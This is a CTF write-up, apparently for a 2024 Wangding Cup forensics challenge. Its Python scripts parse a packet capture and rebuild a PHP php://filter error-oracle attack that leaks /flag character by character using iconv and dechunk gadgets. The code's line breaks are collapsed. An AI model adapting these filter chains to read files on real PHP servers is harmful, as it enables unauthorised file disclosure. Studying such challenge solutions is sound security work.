2024网鼎杯白虎组WriteUP

import pysharkimport osimport urllib.parseimport json
result = []file_name = "0.pcapng"cap = pyshark.FileCapture(file_name, display_filter="http",tshark_path=r"D:webWiresharktshark.exe")for packet in cap:    if "http" in packet:        if "request_uri" in packet.http.field_names:            uri = packet.http.request_uri            if uri == "/test.php":                file_data = packet.http.file_data                hex_data = file_data.split(':')                byte_data = bytes(int(x, 16) for x in hex_data)                value = byte_data[len("value=") :]                value = urllib.parse.unquote(value)                result.append(value)        elif "response" in packet.http.field_names:            response_code = packet.http.response_code            result.append(response_code)with open("11.result",'w')as f:    f.write(str(result))

import astimport jsonimport pickleimport requestsimport sysfrom base64 import b64decode"""THE GRAND IDEA:We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LEfilter will blow up the string length by 4x every time it is used, which will quickly cause500 error if and only if the string is non empty. So we now have an oracle that tells us ifthe string is empty.
THE GRAND IDEA 2:The dechunk filter is interesting.https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724It looks like it was implemented for something http related, but for our purposes, the interestingbehavior is that if the string contains no newlines, it will wipe the entire string if and only ifthe string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with ourabove oracle! In fact we can verify that since the flag starts with D that the filter chain
dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE
does not cause a 500 error.
THE REST:So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descentinto madness trying to figure out ways to:- somehow get other characters not at the start of the flag file to the front- detect more precisely which character is at the front"""with open("11.data", "r", encoding='utf-8') as f:    loaded_list = ast.literal_eval(f.read())    data_dict = {}    for i in range(0, len(loaded_list), 2):        if i + 1 < len(loaded_list):  # 确保有对应的状态码            payload = loaded_list[i]            status_code = loaded_list[i + 1]
            # 检查是否有重复的 payload            if payload in data_dict:                print(f"重复的 payload: {payload}")
            data_dict[payload] = status_code        else:            print(f"未成对的元素: {loaded_list[i]}")  # 处理未成对的元素
def join(*x):    return '|'.join(x)
def err(s):    print(s)    raise ValueError
def req(s):    data = f"php://filter/{s}/resource=/flag"    # print(data_dict)    if data in data_dict:        status_code = data_dict[data]    else:        print("not found")    return status_code == "500"

"""Step 1:The second step of our exploit only works under two conditions:- String only contains a-zA-Z0-9- String ends with two equals signs
base64-encoding the flag file twice takes care of the first condition.
We don't know the length of the flag file, so we can't be sure that it will end with two equalssigns.
Repeated application of the convert.quoted-printable-encode will only consume additionalmemory if the base64 ends with equals signs, so that's what we are going to use as an oracle here.If the double-base64 does not end with two equals signs, we will add junk data to the start of theflag with convert.iconv..CSISO2022KR until it does."""blow_up_enc = join(*['convert.quoted-printable-encode'] * 3000)blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'blow_up_inf = join(*[blow_up_utf32] * 50)header = 'convert.base64-encode|convert.base64-encode'# Start get baseline blowupprint('Calculating blowup')baseline_blowup = 0for n in range(100):    payload = join(*[blow_up_utf32] * n)    if req(f'{header}|{payload}'):        baseline_blowup = n        breakelse:    err('something wrong')print(f'baseline blowup is {baseline_blowup}')trailer = join(*[blow_up_utf32] * (baseline_blowup - 1))assert req(f'{header}|{trailer}') == Falseprint('detecting equals')j = [    req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),    req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}'),    req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')]print(j)if sum(j) != 2:    err('something wrong')if j[0] == False:    header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'elif j[1] == False:    header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'elif j[2] == False:    header = f'convert.base64-encode|convert.base64-encode'else:    err('something wrong')print(f'j: {j}')print(f'header: {header}')"""Step two:Now we have something of the form[a-zA-Z0-9 things]==
Here the pain begins. For a long time I was trying to find something that would allow me to stripsuccessive characters from the start of the string to access every character. Maybe something likethat exists but I couldn't find it. However, if you play around with filter combinations you noticethere are filters that *swap* characters:
convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:abcdefgh -> badcfehg
convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:abcdefgh -> dcbahgfe
This allows us to access the first four characters of the string. Can we do better? It turns outYES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start ofthe string:
abcdefgh -> <0xff><0xfe>abcdefgh
The idea being that if we now use the r4 gadget, we get something like:ba<0xfe><0xff>fedc
And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid<0xfe><0xff> to get:bafedc
And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6thcharacters of the string. There's only one problem: our r4 gadget requires that the string lengthis a multiple of 4. The original base64 string will be a multiple of four by definition, so whenwe apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is nogood for our r4 gadget. This is where the double equals we required in step 1 comes in! Because itturns out, if we apply the filterconvert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7
It will turn the == into:+---AD0-3D3D+---AD0-3D3D
And this is magic, because this corrects such that when we apply theconvert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!
Let's recap. We have a string like:abcdefghij==
Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:abcdefghij+---AD0-3D3D+---AD0-3D3D
Apply convert.iconv.CSUNICODE.CSUNICODE:<0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D
Apply r4 gadget:ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3
Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:bafedcjihg+0DAD3D3+0DAD3Dw==
Then apply r4 once more:efabijcd0+gh3DAD0+3D3DAD==wD
And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, butthe string still has two equals signs in it, so we can reapply the technique as many times as wewant, to access all the characters in the string ;)"""flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"r2 = "convert.iconv.CSUNICODE.UCS-2BE"r4 = "convert.iconv.UCS-4LE.10646-1:1993"
def get_nth(n):    global flip, r2, r4    o = []    chunk = n // 2    if chunk % 2 == 1: o.append(r4)    o.extend([flip, r4] * (chunk // 2))    if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)    return join(*o)
"""Step 3:This is the longest but actually easiest part. We can use dechunk oracle to figure out if the firstchar is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from thosechars. rot13 and string lower are helpful. There are probably a million ways to do this bit butI just bruteforced every combination of iconv filters to find these.
Numbers are a bit trickier because iconv doesn't tend to touch them.In the CTF you coud porbably just guess from there once you have the letters. But if you actually want a full leak you can base64 encode a third time and use the first two letters of the resultingstring to figure out which number it is."""rot1 = 'convert.iconv.437.CP930'be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'o = ''
def find_letter(prefix):    if not req(f'{prefix}|dechunk|{blow_up_inf}'):        # a-f A-F 0-9        if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):            # a-e            for n in range(5):                if req(f'{prefix}|' + f'{rot1}|{be}|' * (n + 1) + f'{rot1}|dechunk|{blow_up_inf}'):                    return 'edcba'[n]                    break            else:                err('something wrong')        elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):            # A-E            for n in range(5):                if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|' * (n + 1) + f'{rot1}|dechunk|{blow_up_inf}'):                    return 'EDCBA'[n]                    break            else:                err('something wrong')        elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):            return '*'        elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):            # f            return 'f'        elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):            # F            return 'F'        else:            err('something wrong')    elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):        # n-s N-S        if not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):            # n-r            for n in range(5):                if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|' * (n + 1) + f'{rot1}|dechunk|{blow_up_inf}'):                    return 'rqpon'[n]                    break            else:                err('something wrong')        elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):            # N-R            for n in range(5):                if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|' * (                        n + 1) + f'{rot1}|dechunk|{blow_up_inf}'):                    return 'RQPON'[n]                    break            else:                err('something wrong')        elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):            # s            return 's'        elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):            # S            return 'S'        else:            err('something wrong')    elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):        # i j k        if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):            return 'k'        elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):            return 'j'        elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):            return 'i'        else:            err('something wrong')    elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):        # I J K        if req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):            return 'K'        elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):            return 'J'        elif req(                f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):            return 'I'        else:            err('something wrong')    elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):        # v w x        if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):            return 'x'        elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):            return 'w'        elif req(                f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):            return 'v'        else:            err('something wrong')    elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):        # V W X        if req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):            return 'X'        elif req(                f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):            return 'W'        elif req(                f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):            return 'V'        else:            err('something wrong')    elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):        # Z        return 'Z'    elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):        # z        return 'z'    elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):        # M        return 'M'    elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):        # m        return 'm'    elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):        # y        return 'y'    elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):        # Y        return 'Y'    elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):        # l        return 'l'    elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):        # L        return 'L'    elif not req(            f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):        # h        return 'h'    elif not req(            f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):        # H        return 'H'    elif not req(            f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):        # u        return 'u'    elif not req(            f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):        # U        return 'U'    elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):        # g        return 'g'    elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):        # G        return 'G'    elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):        # t        return 't'    elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):        # T        return 'T'    else:        err('something wrong')
print()for i in range(100):    prefix = f'{header}|{get_nth(i)}'    letter = find_letter(prefix)    # it's a number! check base64    if letter == '*':        prefix = f'{header}|{get_nth(i)}|convert.base64-encode'        s = find_letter(prefix)        if s == 'M':            # 0 - 3            prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'            ss = find_letter(prefix)            if ss in 'CDEFGH':                letter = '0'            elif ss in 'STUVWX':                letter = '1'            elif ss in 'ijklmn':                letter = '2'            elif ss in 'yz*':                letter = '3'            else:                err(f'bad num ({ss})')        elif s == 'N':            # 4 - 7            prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'            ss = find_letter(prefix)            if ss in 'CDEFGH':                letter = '4'            elif ss in 'STUVWX':                letter = '5'            elif ss in 'ijklmn':                letter = '6'            elif ss in 'yz*':                letter = '7'            else:                err(f'bad num ({ss})')        elif s == 'O':            # 8 - 9            prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'            ss = find_letter(prefix)            if ss in 'CDEFGH':                letter = '8'            elif ss in 'STUVWX':                letter = '9'            else:                err(f'bad num ({ss})')        else:            err('wtf')
    print(end=letter)    o += letter    sys.stdout.flush()"""We are done!! :)"""print()d = b64decode(o.encode() + b'=' * 4)# remove KR paddingd = d.replace(b'$)C', b'')print(d)print(b64decode(d))